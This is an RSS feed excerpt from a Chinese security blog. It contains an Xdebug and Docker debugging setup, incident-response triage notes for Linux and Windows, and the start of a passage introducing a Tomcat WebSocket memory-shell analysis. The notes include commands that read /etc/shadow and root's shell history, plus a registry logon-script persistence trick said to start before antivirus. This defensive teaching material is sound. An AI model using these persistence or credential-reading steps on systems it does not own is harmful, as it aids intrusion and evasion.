&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;12
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;13
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;14
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;15
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;16
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;17
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-yaml&#34; data-lang=&#34;yaml&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nt&#34;&gt;version&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;3.2&amp;#39;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;services&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;  &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;webserver&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;build&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;l&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;image&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;l&#34;&gt;php-82-apache-xdebug-32&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;container_name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;l&#34;&gt;php-82-apache-xdebug-32&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;ports&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;      &lt;/span&gt;- &lt;span class=&#34;s2&#34;&gt;&amp;#34;50080:80&amp;#34;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;      &lt;/span&gt;&lt;span class=&#34;c&#34;&gt;# - &amp;#34;9001:9001&amp;#34; # for dbgpProxy&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;volumes&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;      &lt;/span&gt;- &lt;span class=&#34;l&#34;&gt;./html:/var/www/html&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;environment&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;      &lt;/span&gt;&lt;span class=&#34;c&#34;&gt;# Xdebug 2&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;      &lt;/span&gt;&lt;span class=&#34;c&#34;&gt;# XDEBUG_CONFIG: &amp;#34;remote_handler=dbgp remote_host=host.docker.internal idekey=PHPSTORM&amp;#34; &lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;      &lt;/span&gt;&lt;span class=&#34;c&#34;&gt;# Xdebug 3&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;      &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;XDEBUG_CONFIG&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;remote_handler=dbgp client_host=host.docker.internal&amp;#34;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;      &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;XDEBUG_SESSION&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;PHPSTORM&amp;#34;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;可见&lt;a href=&#34;https://github.com/Anthem-whisper/docker-debug-images&#34;&gt;Github&lt;/a&gt;，嫌麻烦也可以直接从&lt;a href=&#34;https://hub.docker.com/r/wh1sperdiyu/php-82-apache-xdebug-32&#34;&gt;Dockerhub&lt;/a&gt;拉image：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;docker pull wh1sperdiyu/php-82-apache-xdebug-32:latest
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id=&#34;配置phpstorm&#34;&gt;配置PhpStorm&lt;/h2&gt;
&lt;p&gt;在&lt;code&gt;设置-PHP-服务器&lt;/code&gt;中添加一个服务器，信息按照实际情况填写。选择路径映射，服务器上的绝对路径填写根目录，我这个镜像是&lt;code&gt;/var/www/html/&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://raw.githubusercontent.com/Anthem-whisper/imgbed/main/img/202301301841125.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;p&gt;添加一个运行配置，选择刚才的服务器&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://raw.githubusercontent.com/Anthem-whisper/imgbed/main/img/202301301844891.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;p&gt;可以验证一下，注意此时需要服务器能访问到IDE的机器才可以验证成功&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://raw.githubusercontent.com/Anthem-whisper/imgbed/main/img/202301301845909.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;p&gt;点击右上角开始监听，docker和IDE都在一台电脑上的情况下，让xdebug直接把debug信息打到宿主机IP也就是&lt;code&gt;host.docker.internal&lt;/code&gt;就可以了&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://raw.githubusercontent.com/Anthem-whisper/imgbed/main/img/202301292235122.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;reference&#34;&gt;Reference&lt;/h2&gt;
&lt;p&gt;&lt;a href=&#34;https://www.freebuf.com/articles/web/266512.html&#34;&gt;PHPSTORM调试Docker项目&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://www.chawu.top/blog/2022-04/phpstorm-docker-xdebug.html&#34;&gt;PhpStorm 利用官方docker镜像启动虚拟环境及调试&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://learnku.com/articles/4090/the-first-step-to-becoming-a-senior-php-programmer-debugging-xdebug-principle&#34;&gt;成为高级 PHP 程序员的第一步——调试（xdebug 原理篇）&lt;/a&gt;&lt;/p&gt;
</description>
                
                
                
                
                
                    
                        
                            
                                
                                
                                
                                    <category domain="https://blog.wh1sper.com/categories/note/">note</category>
                                
                            
                        
                    
                        
                            
                                
                                
                                
                                    <category domain="https://blog.wh1sper.com/tags/xdebug/">xdebug</category>
                                
                            
                                
                                
                                
                                    <category domain="https://blog.wh1sper.com/tags/docker/">docker</category>
                                
                            
                                
                                
                                
                                    <category domain="https://blog.wh1sper.com/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/">代码审计</category>
                                
                            
                        
                    
                
            </item>
        
            <item>
                <title>应急响应笔记</title>
                <link>https://blog.wh1sper.com/posts/%E5%BA%94%E6%80%A5%E5%93%8D%E5%BA%94%E7%AC%94%E8%AE%B0/</link>
                <guid isPermaLink="true">https://blog.wh1sper.com/posts/%E5%BA%94%E6%80%A5%E5%93%8D%E5%BA%94%E7%AC%94%E8%AE%B0/</guid>
                <pubDate>Mon, 15 Aug 2022 15:33:08 &#43;0800</pubDate>
                
                    <author>admin[at]wh1sper.com (wh1sper)</author>
                
                <copyright>[CC BY-NC-SA 4.0](https://creativecommons.org/licenses/by-nc-sa/4.0/deed.zh)</copyright>
                
                    <description>&lt;p&gt;常见的应急响应事件分类：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Web入侵：网页挂马、主页篡改、Webshell&lt;/li&gt;
&lt;li&gt;系统入侵：病毒木马、勒索软件、远控后门&lt;/li&gt;
&lt;li&gt;网络攻击：DDOS攻击、DNS劫持、ARP欺骗&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;具体情况具体分析，如果是一台失陷的公网Web主机，那么着重从Web服务层面去排查，如果是内网一台Windows，那么着重从系统层面去排查，原则上能用工具则用工具&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://raw.githubusercontent.com/Anthem-whisper/imgbed/master/img/202208151430782.jpg&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;linux&#34;&gt;Linux&lt;/h2&gt;
&lt;h3 id=&#34;敏感目录&#34;&gt;敏感目录&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/tmp&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/etc/init.d/&lt;/code&gt; 自启动目录&lt;/li&gt;
&lt;li&gt;web目录&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ls -ltha列举所有文件&lt;/p&gt;
&lt;p&gt;基于时间和权限的筛选&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;find ./ -mtime 0 -name &amp;#34;*.php&amp;#34;
# 查找24h内修改的php文件

find ./ -iname &amp;#34;*.php&amp;#34; -perm 777
# -iname 忽略大小写，-perm查找777权限
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;网络连接与进程&#34;&gt;网络连接与进程&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;netstat -pantl
netstat -anpt
netstat -pantl | grep &amp;#34;ESTABLISHED&amp;#34;查看正在建立连接的端口
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;查看进程对应的文件&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;ps aux 
ps aux | grep ${PID}
lsof -i:${PORT} # 查看占用端口的进程号
kill -9 ${PID} # 
killall php-fpm # 杀死所有php-fpm进程
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;登录与用户&#34;&gt;登录与用户&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;last -i | grep -v 0.0.0.0 # 查看登录日志，筛选非本地登录
w # 看现在那些用户登陆了
cat /etc/passwd | grep &amp;#34;0:0&amp;#34;
awk -F: &amp;#39;$3==0{print $1}&amp;#39; /etc/passwd # 查询特权用户
awk &amp;#39;/\$1|\$6/{print $1}&amp;#39; /etc/shadow # 查询可以远程登录的账号
more /etc/sudoers | grep -v &amp;#34;^#\|^$&amp;#34; grep &amp;#34;ALL=(ALL)&amp;#34; # 查询具有sudo权限的账号
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;历史命令&#34;&gt;历史命令&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;history
cat ~/.bash_history
cat /root/.bash_history
&lt;/code&gt;&lt;/pre&gt;&lt;blockquote&gt;
&lt;p&gt;注意
&lt;code&gt;.bash_history&lt;/code&gt; 要当ssh session正常退出之后才会写入，如果是非正常退出的话不会写入&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;计划任务&#34;&gt;计划任务&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;crontab -e
crontab -l
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;可以用工具解析&lt;/p&gt;
&lt;h3 id=&#34;启动项预加载文件&#34;&gt;启动项、预加载文件&lt;/h3&gt;
&lt;p&gt;自启动服务&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;ls /etc/init.d/ # 自启动服务
/etc/init.d/xxx status #查看状态
update-rc.d disable # 取消开机自启
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;开机启动项&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;more /etc/rc.local
/etc/rc.d/rc[0-6].d
ls -l /etc/rc.d/rc3.d/
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;开机预加载的文件&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;系统级别
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/etc/profile&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/etc/paths&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;用户级别
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;~/.bash_profile&lt;/code&gt; （mac用的）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;~/.bash_login&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;~/.profile&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;~/.bashrc&lt;/code&gt; (linux用的)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;windows&#34;&gt;Windows&lt;/h2&gt;
&lt;h3 id=&#34;网络连接&#34;&gt;网络连接&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;netstat -ano 
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;如果网络连接出现以下情况，则当前主机可能已经失陷&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;主机存在对内网网段大量主机的某些端口（常见如22，445，3389，6379等端口）或者全端口发起网络连接尝试，这种情况一般是当前主机被攻击者当作跳板机对内网实施端口扫描或者口令暴力破解等攻击。&lt;/li&gt;
&lt;li&gt;主机和外网IP已经建立连接（ESTABLISHED状态）或者尝试建立连接（SYN_SENT状态），可以先查询IP所属地，如果IP为国外IP或者归属各种云厂商，则需要重点关注。进一步可以通过威胁情报（&lt;a href=&#34;https://x.threatbook.cn/&#34;&gt;https://x.threatbook.cn&lt;/a&gt;等）查询IP是否已经被标注为恶意IP。&lt;/li&gt;
&lt;li&gt;如果无法直接从网络连接情况判断是否为异常连接，可以根据网络连接找到对应的进程ID，判断进程是否异常。如果不能从进程判断，可以进一步找到进程对应文件，将对应文件上传至virustotal（&lt;a href=&#34;https://www.virustotal.com&#34;&gt;https://www.virustotal.com&lt;/a&gt;）进行检测。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;windows通过进程找到文件路径:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# 打开所有端口进程列表
netstat -ano

# 找到可以的端口链接
netstat -ano | findstr 13232

# 通过pid找到进程
tasklist | findstr 13232

# 通过进程找到文件路径
wmic process where name=&amp;#34;firefox.exe&amp;#34; get processid,executablepath,name
wmic process get name,executablepath,processid|findstr 2860
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;敏感目录-1&#34;&gt;敏感目录&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;各个盘符下的临时目录，如 &lt;code&gt;C:\TEMP&lt;/code&gt;、&lt;code&gt;C:\Windows\Temp&lt;/code&gt;等。&lt;/li&gt;
&lt;li&gt;攻击队喜欢放马的目录，比如 &lt;code&gt;C:\Users\Public&lt;/code&gt; 下的各个目录&lt;/li&gt;
&lt;li&gt;浏览器的下载目录&lt;/li&gt;
&lt;li&gt;&lt;code&gt;%UserProfile%\Recent&lt;/code&gt;，查看用户最近操作的文件&lt;/li&gt;
&lt;li&gt;回收站，如C盘下回收站&lt;code&gt;C:\$Recycle.Bin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;web目录&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;记得按照时间排序，来查看最近修改的文件夹&lt;/p&gt;
&lt;h3 id=&#34;后门帐号&#34;&gt;后门帐号&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;注册表&lt;/strong&gt;
查看注册表中&lt;code&gt;HKLM\SAM\SAM\Domains\Account\Users\Names&lt;/code&gt; （或者&lt;code&gt;HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names&lt;/code&gt;）中是否有多余的账号（可询问客户运维人员以确定账号存在的必要性）。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;正常情况下，上述路径的SAM权限仅system用户可查看，需要给administrator用户授权才能打开完整路径。对SAM右键、给administator用户添加完全控制权限，记得改回去&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;下图 &lt;code&gt;admin$&lt;/code&gt; 即为后门账号&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://raw.githubusercontent.com/Anthem-whisper/imgbed/master/img/202208151526676.png&#34; alt=&#34;ec15199cfe61cb1135dd4e9ea9a82b93.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;计算机管理&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;compmgmt.msc # 查看用户和用户组
lusrmgr.msc #  查看用户和用户组
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;net命令&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-cmd&#34; data-lang=&#34;cmd&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;net user # 查询本机用户
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;net localgroup Administrators # 查询admin组
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;query user # 查询登录用户
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;启动项&#34;&gt;启动项&lt;/h3&gt;
&lt;p&gt;启动目录&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;%programdata%\Microsoft\Windows\Start Menu\Programs\Startup # 系统启动目录
%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup # 用户登陆时启动目录
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;注册表&lt;/p&gt;
&lt;p&gt;太多了，就说一两个：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Run注册表键值为开机启动项,每一次开机都会执行键值对应的程序或bat脚本&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Logon Scripts是优先于很多杀毒软件启动的,所以可以通过这种方式达到一定的免杀效果&lt;/p&gt;
&lt;p&gt;在注册表&lt;code&gt;HKEY_CURRENT_USER\Environment&lt;/code&gt;这条路径下,添加新的字符串值,值的名字为:&lt;code&gt;UserInitMprLogonScript&lt;/code&gt;，数值数据为想要启动程序的路径&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;另外&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;注册表项很多，建议使用火绒剑一把梭&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;计划任务服务&#34;&gt;计划任务、服务&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;同样建议火绒剑一把梭&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;taskschd.msc # 计划任务查看器
schtasks # 命令行查看计划任务

services.msc # 服务查看器

systeminfo # 查询补丁信息

eventvwr.msc # 事件查看器（查看系统日志，安全日志）
&lt;/code&gt;&lt;/pre&gt;</description>
                
                
                
                
                
                    
                        
                            
                                
                                
                                
                                    <category domain="https://blog.wh1sper.com/categories/note/">note</category>
                                
                            
                        
                    
                        
                            
                                
                                
                                
                                    <category domain="https://blog.wh1sper.com/tags/%E5%BA%94%E6%80%A5%E5%93%8D%E5%BA%94/">应急响应</category>
                                
                            
                        
                    
                
            </item>
        
            <item>
                <title>Tomcat WebSocket内存马原理浅析</title>
                <link>https://blog.wh1sper.com/posts/tomcat-websocket%E5%86%85%E5%AD%98%E9%A9%AC%E5%8E%9F%E7%90%86%E6%B5%85%E6%9E%90/</link>
                <guid isPermaLink="true">https://blog.wh1sper.com/posts/tomcat-websocket%E5%86%85%E5%AD%98%E9%A9%AC%E5%8E%9F%E7%90%86%E6%B5%85%E6%9E%90/</guid>
                <pubDate>Tue, 19 Jul 2022 00:58:30 &#43;0800</pubDate>
                
                    <author>admin[at]wh1sper.com (wh1sper)</author>
                
                <copyright>[CC BY-NC-SA 4.0](https://creativecommons.org/licenses/by-nc-sa/4.0/deed.zh)</copyright>
                
                    <description>&lt;p&gt;本文首发跳跳糖：&lt;a href=&#34;https://tttang.com/archive/1673/&#34;&gt;《Tomcat WebSocket内存马原理浅析》&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;周末和N1k0la师傅看到了这个repo：&lt;a href=&#34;https://github.com/veo/wsMemShell&#34;&gt;wsMemShell&lt;/a&gt;，决定来研究一番。&lt;/p&gt;
&lt;p&gt;正好某大行动要开始了，希望此文能抛砖引玉，给师傅们带来一些启发。文章写的不好，疏漏之处细节欢迎师傅们指正。&lt;/p&gt;
&lt;h2 id=&#34;tomcat-websocket的实现&#34;&gt;Tomcat WebSocket的实现&lt;/h2&gt;
&lt;p&gt;Tomcat自7.0.2版本开始支持WebSocket，采用自定义API，即WebSocketServlet。&lt;/p&gt;
&lt;p&gt;从2013年有了&lt;code&gt;JSR356&lt;/code&gt;标准之后，Tomcat自7.0.47版本废弃自定义的API，实现了Java WebSocket规范（JSR356 ）&lt;/p&gt;
&lt;p&gt;根据JSR356规定， 建立WebSocket连接的服务器端和客户端，两端对称，可以互相通信。把通信端点抽象成类，就是&lt;code&gt;Endpoint&lt;/code&gt;，每一个Endpoint对象代表WebSocket链接的一端，服务器端的叫&lt;code&gt;ServerEndpoint&lt;/code&gt;，客户端的叫&lt;code&gt;ClientEndpoint&lt;/code&gt;。客户端向服务端发送WebSocket握手请求，建立连接后就创建一个&lt;code&gt;ServerEndpoint&lt;/code&gt;对象。&lt;/p&gt;
&lt;p&gt;ServerEndpoint和ClientEndpoint，有相同的生命周期事件（OnOpen、OnClose、OnError、OnMessage），不同之处是ServerEndpoint作为服务器端点，可以指定一个URI路径供客户端连接，ClientEndpoint则没有。&lt;/p&gt;
&lt;p&gt;Endpoint对象的生命周期方法如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;onOpen：当开启一个新的会话时调用。这是客户端与服务器握手成功后调用的方法，等同于注解@OnOpen。&lt;/li&gt;
&lt;li&gt;onClose：当会话关闭时调用。等同于注解@OnClose。&lt;/li&gt;
&lt;li&gt;onError：当链接过程中异常时调用。等同于注解@OnError。&lt;/li&gt;
&lt;li&gt;onMessage：接收到消息时触发。等同于注解@OnMessage&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;服务端实现endpoint的方式&#34;&gt;服务端实现Endpoint的方式&lt;/h3&gt;
&lt;p&gt;服务器端的&lt;code&gt;Endpoint&lt;/code&gt;有两种实现方式，一种是注解方式&lt;code&gt;@ServerEndpoint&lt;/code&gt;，一种是继承抽象类&lt;code&gt;Endpoint&lt;/code&gt;。&lt;/p&gt;
&lt;h4 id=&#34;注解方式serverendpoint&#34;&gt;注解方式：@ServerEndpoint&lt;/h4&gt;
&lt;p&gt;官方文档：&lt;a href=&#34;https://docs.oracle.com/javaee/7/api/javax/websocket/server/ServerEndpoint.html&#34;&gt;ServerEndpoint (Java(TM) EE 7 Specification APIs)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;一个@ServerEndpoint注解应该有以下元素：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;value&lt;/code&gt;：必要，String类型，此Endpoint部署的URI路径。&lt;/li&gt;
